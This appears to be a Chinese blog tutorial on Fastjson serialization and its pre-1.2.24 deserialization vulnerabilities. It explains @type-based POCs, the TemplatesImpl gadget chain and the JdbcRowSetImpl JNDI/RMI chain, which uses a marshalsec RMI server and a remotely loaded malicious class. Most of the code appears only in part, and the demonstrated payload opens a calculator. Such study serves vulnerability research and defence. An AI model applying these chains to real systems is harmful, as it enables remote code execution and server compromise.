初识fastjson
Fastjson是Alibaba开发的java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,不需要添加额外的以来,能够直接跑在JDK上,Fastjson采用独创的算法,将序列化的速度提升到极致,深受用户喜爱。
FastJson使用
1.实现序列化通常使用JSON.toJSONString接口,maven导入Fastjson依赖包
1 | <dependency> |
创建实体类Student.java
1 | public class Student{ |
1.普通序列化测试
1 | public static void objectToJSON(){ |
2.添加了SeializerFeature的序列化测试
SerializerFeature.WriteClassName 是JSON.toJSONString()中的⼀个设置属性值,设 置之后在序列化 的时候会多写⼊⼀个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调⽤其 getter/setter/is⽅法。
is方法:通常用于布尔类型属性值的getter方法替代使用,例如:
1 | public boolean isDeceased(){ |
等同于:
1 | public boolean getDeceased(){ |
1 | public static void objectToJSON2(){ |
3.反序列化测试
实现反序列化通常使用Json.parseObject()接口。Fastjson接收的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象那个,在反序列化的时候方便操作。
如果需要反序列化出实体类中的private属性,需要添加Feature.SupportNonPublicFiled参数。实体类Student,各个私有属性只存在getter方法。例如
1 | public static void fanxuliehua(){ |
如果不设置Feature.SupportNonPublicField参数,那么序列化的各个私有属性的反序列化失败
4.反序列化测试2
如果不指定反序列化class参数,即调用JSON.parseObject(String text);进行反序列化,反序列化得到的都西是com.alibaba.fastjosn.JSONObject类型。
1 | public static void fanxuliehua3(){ |
反序列化调用了JSON.parseObject(String text,Class class),会调用所有setter方法和特定的getter方法。
5.Getter方法触发条件
- 类型继承自Collection Map AtomicBoolean Atomicinteger AtomicLong这几种类型之一。
- 无参非静态方法,方法名的长度大于等于4,且第四个字符为大写字符。
- 与之对应的setter方法不存在。
调用JSON.parseObject(String text,Class class)反序列化时,若存在setProperties,则不会调用getProperties。比如:
1 |
|
存在setter方法时:
但是如果我们注释了setProperties方法后.
Fastjson反序列化漏洞
1.漏洞原理
Fastjson是自己实现的一套序列化和反序列化机制,不是用的Java原生的序列化和反序列化机制。通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其及逆行反序列化后得到了恶意类并且执行了恶意类中的恶意函数,进而导致代码执行。
在某些情况下进行反序列化时,会将反序列化得到的类或其子类的构造函数,getter、setter方法执行,如果这三种方法存在可利用的入口,则可能导致反序列化漏洞存在。
2.构造poc
一般,Fastjson反序列化漏洞的POC写法如下,@type指定了反序列化得到的类
1 | { "@type":"xxx.xxx.xxx", "xxx":"xxx", ... } |
关键是要找出一个特殊的在目标环境中已经存在的类,满足如下条件:
- 该类的构造函数,setter,getter方法中以及静态代码块中的某一个存在危险操作。
- 危险函数可控
3.相关知识
漏洞是利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验证,攻击者 可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。攻击者通过这种⽅式可 以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,甚⾄可以利⽤此漏洞进⼀步对服务器数 据进⾏修改,增加,删除等操作,对服务器造成巨⼤的影响。环境拓扑图如下:
Fastjson<=1.2.24 反序列化漏洞
实体类Student中,存在不安全的setter方法,setHeight中有命令执行的行为
1 | public class Student4 implements Serializable { |
前面测试发现,使用JSON.parseObject()不指定class执行反序列化,会调用指定类的构造函数、所有属性的getter方法,非私有属性的settter方法。
所以可以构造以下poc:
1 | public static void fanxuliehua06() throws IOException { |
Fastjson<=1.2.24 反序列化漏洞2
影响范围:Fastjson1.2.22 -1.2.24版本 利用:
基于Templateimpl限制:需要设置Feature.SupportNonPublicField属性进行反序列化操作才能成功触发利用。
基于jdbcRowSetImpl限制:由于是利用JNDI注入漏洞来触发,因此主要的限制因素是JDK版本。
基于RMI利用的JDK版本<=6u141,7u131,8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191
基于TemplateImpl
1 | <!-- fastjson 1.2.22-1.2.24 版本漏洞利⽤--> |
恶意类:
1 | public class CalcTest extends AbstractTranslet{ |
构造poc
1 | { |
测试代码:
1 | public class POC1 { |
其中自定义的readClass()函数用于读取指定路径下文件,并将二进制数据进行base64编码。
Feature.SupportNonPublicFiled属性必须配置。
目标类属性均为私有配置。
@type:指定的解析类,这里目标类是:
com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl
。Fastjson会根据指定的类得到该类的实例,该是JDK自带类,实现了seriailizable类,支持序列化。
_outputProperties属性 是利⽤链的关键。 前⾯分析过getter⽅法的触发条件,当前属性是符合条件 的,如属性类型属于Map⼦类,本类中 该属性的setter⽅法不存在,只存在getter⽅法等。
所以当反序列化这个类时,会主动调用getOutputProperties方法,进而导致命令执行。
FastJson与Templateslmpl的结合就在于:
TemplatesImpl中存在一个反序列化利用链,在反序列化过程中,如果该类的getOuTputProperties()方法被调用,即可成功触发代码执行漏洞。
再来分析下Fastjson:当Fastjson处理json字符串时关于getter方法被调用的条件来看。Temaplateslmpl类_outputProperties成员变量的getter方法满足被调用条件。所以就会触发getOutputProperties()方法。
基于JdbcRowSetImpl
基于JdbcRowSetImpl的利用链主要利用方式有JNDI+RMI和JNDI+LDAP。
1 | 基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121 |
所有这里直接安装了jdk1.8.0_101。
构造poc:
1 | { |
1 | { |
@type指定com.sun.rowset.JdbcRowSetimpl类,dataSourceName值为RMI服务中心绑定的EvilCalc服务,autoCommit有且必须为true或false等布尔值类型。
启动RMI服务:使用marshalesec来完成。
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer |
编写恶意类EvilCalc:
1 | import java.io.IOException; |
将其编译为.class文件。启动web服务,将恶意文件存放至本地。
之后运行
1 | public class POC2 { |
就可以弹出计算器了。
同样也可以使用LDAP来弹出该计算器。